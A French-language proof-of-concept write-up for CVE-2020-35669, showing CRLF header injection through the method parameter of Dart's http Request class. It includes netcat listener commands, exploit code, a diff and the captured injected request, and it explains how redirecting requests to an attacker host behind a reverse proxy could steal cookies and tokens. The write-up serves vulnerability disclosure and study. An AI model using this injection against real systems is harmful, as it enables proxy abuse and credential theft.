
Preuve de concept d'exploit pour CVE-2020-35669 démontrant le détournement de requête HTTP et l'injection d'en-têtes dans le paquet http de Dart via des paramètres de méthode falsifiés, permettant le contournement du proxy inverse et la manipulation de l'en-tête Host.
veuillez exécuter le serveur factice avec le 1er terminal
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
veuillez exécuter main.dart avec le 2e terminal
dart run main.dart
nc devrait recevoir la requête suivante
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
En supposant que le diff montré ci-dessus n'a pas été appliqué et que l'utilisateur est derrière un rev-proxy Le site web servi par example.com a été atteint.
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
Si le développeur utilise Request pour abstraire la génération d'appels HTTP et qu'il accepte un paramètre de méthode de l'utilisateur, l'utilisateur peut faire de la magie comme une injection d'en-tête ou une falsification de chemin.
Cela peut être exploité de plusieurs manières et semble assez important surtout s'il y a un proxy inverse en place. Un proxy peut simplement transmettre la requête de quelqu'un à n'importe quel hôte en fonction de l'en-tête host.
Supposons que je remplace example.com par my-evil-uservice.org et que la victime travaille dans une entreprise derrière le proxy. Cela signifie que je peux rediriger les appels avec les en-têtes/cookies (jetons) et tout le tralala. Sur cette base, le vol d'appels avec tous les en-têtes/cookies peut se produire.